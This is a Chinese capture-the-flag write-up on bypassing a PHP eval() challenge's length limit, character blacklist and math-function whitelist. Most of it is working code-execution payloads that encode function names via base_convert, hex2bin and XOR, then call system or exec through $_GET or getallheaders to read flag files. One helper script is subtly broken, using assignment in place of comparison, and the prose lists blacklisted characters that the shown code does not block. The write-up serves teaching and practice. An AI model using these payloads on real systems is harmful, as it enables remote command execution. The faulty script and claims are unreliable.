数字函数及其白名单和黑名单的过滤

数字函数及其白名单和黑名单的过滤

打开页面,看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

通过源码,我们可以看到eval()这个危险函数,但是也看见了正则过滤和白名单和黑名单,因此我们需要绕过这些过滤,然后在eval()中构造恶意代码,限制有:

1
2
3
4
5
6
7
1. 输入的字符串只能在80个字符以内(不包含80个字符)

2. $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
你不可以有空格、$、_、[、]、换行符、单引号、双引号

3. $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
要有这些数学函数,但是可以选一个或多个

常用数学函数:http://www.w3school.com.cn/php/php_ref_math.asp

所以我们只能使用白名单中的数学函数及其“.”和“^”等,同时字符数限制在80个以内

php语言的特点

动态函数

php中可以把函数名通过字符串的形式传递给一个变量

1
2
3
4
5
$function="sayhello";$function();

相当于

sayhello();

php中函数名默认为字符串

如白名单中的asinh和pi可以直接异或,这就增加了构造字符的选择,下面有个例子:

在数学函数中有个is_nan()函数和tan()函数

1
2
3
4
5
6
7
8
9
10
11
<?php

$i=is_nan^(6).(4); #函数名可以作为字符串,参与异或,同时右边有两个字符,所以左边也会只取两个字符,所以相当于”is^(6).(4)“

$j=tan^(1)(5); #相当于”ta^(1)(5)“

echo $i; #结果为_G

echo $j; #结果为ET

?>

按照这两个php特性,我们可以加以利用
构造payload

1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php

其中&abs=tac flag.php有空格并不影响,因为它不会参与过滤,同时分析payload

1
2
3
4
5

base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) =>"5f474554"
$pi=hex2bin("5f474554") =>”$pi="_GET"“
($$pi){pi}(($$pi){abs}) => ($_GET){1}($_GET){2}

其中hex2bin()函数会将16进制转换为ascii字符串,其中为什么base_convert()是37907361743,这是我写的一个exp

1
2
3
4
5
6
7
8
9
<?php

for($i=0;$i<=1000000000;$i++){
$hex=base_convert($i,10,36);
if($hex="hex2bin"){
echo $i;
}
}
?>

当然介意百度或记住这个函数的10进制值,如果本地测试($_GET){1}(($_GET){2})建议使用7版本的phpsyudy,否则会出错

也可以用header来传,即使用getallheaders()函数

getallheaders()函数

1
getallheader()---------------------------------------获取全部HTTP请求头信息

所以我们可以构造payload

1
2
3
get提交:$pi=base_convert;$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

post提交:1=命令

分析payload

1
2
3
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})

也可以构造exec(‘cat f*’)或system(‘cat f*’)

1
2
3
4
//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

当然也可以使用php语言中可以将函数名当作字符串进行异或的特性,所以我们可以写一个exp

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}
?>

所以可以构造payload

1
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag